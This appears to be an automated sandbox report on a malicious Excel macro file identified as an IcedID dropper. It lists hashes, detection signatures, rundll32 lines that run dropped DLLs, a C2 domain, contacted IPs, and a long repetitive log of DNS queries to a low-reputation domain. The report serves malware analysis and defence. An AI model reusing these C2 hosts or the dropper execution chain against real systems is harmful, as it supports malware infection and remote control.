Play interactive tour

Edit tour

Analysis Report document-1251000362.xlsm

Overview

General Information

Sample Name:	document-1251000362.xlsm
Analysis ID:	382871
MD5:	09217c79f99bbfe977a80d83d62489c7
SHA1:	da600d355dfb57190a5745342f3cfeb7d1e509f1
SHA256:	7bf8049e4766a2985851a3d3bf01710c53c389fe1e54397fa332672b62b649d8
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 IcedID

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (drops PE files)

Found malware configuration

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

System process connects to network (likely due to code injection or exploit)

Yara detected IcedID

C2 URLs / IPs found in malware configuration

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Office process drops PE file

Outdated Microsoft Office dropper detected

Performs DNS queries to domains with low reputation

Tries to detect virtualization through RDTSC time measurements

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to query network adapater information

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Sample execution stops while process was sleeping (likely an evasion)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2372 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2540 cmdline: rundll32 ..\ksjvoefv.skd,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2708 cmdline: rundll32 ..\ksjvoefv.skd1,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2780 cmdline: rundll32 ..\ksjvoefv.skd2,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2796 cmdline: rundll32 ..\ksjvoefv.skd3,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2252 cmdline: rundll32 ..\ksjvoefv.skd4,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

Threatname: IcedID

{"C2 url": "usaaforced.fun"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Process Memory Space: rundll32.exe PID: 2796	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Process Memory Space: rundll32.exe PID: 2540	JoeSecurity_IcedID_1	Yara detected IcedID	Joe Security
Click to see the 4 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 3.2.rundll32.exe.190000.0.raw.unpack

Malware Configuration Extractor: IcedID {"C2 url": "usaaforced.fun"}

Multi AV Scanner detection for submitted file

Show sources

Source: document-1251000362.xlsm

Metadefender: Detection: 13%

Perma Link

Yara detected IcedID

Show sources

Source: Yara match	File source: 00000003.00000002.2497781112.000000000038E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2174963879.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172023641.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173003375.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2497738687.00000000002E1000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2173701556.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2172513544.00000000002E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2796, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 2540, type: MEMORY

Source: unknown	HTTPS traffic detected: 143.204.3.74:443 -> 192.168.2.22:49171 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 143.204.3.74:443 -> 192.168.2.22:49172 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 192.185.48.186:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.214.87:443 -> 192.168.2.22:49168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.87.146.86:443 -> 192.168.2.22:49169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.79.62.99:443 -> 192.168.2.22:49170 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 3003[1].gif.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: metaflip.io

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.48.186:443

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.48.186:443

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: usaaforced.fun

Outdated Microsoft Office dropper detected

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	DNS query: agenbolatermurah.com is down
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	DNS query: agenbolatermurah.com is down
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	DNS query: agenbolatermurah.com is down

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
Source: C:\Windows\System32\rundll32.exe	DNS query: tvorartificialnature.xyz
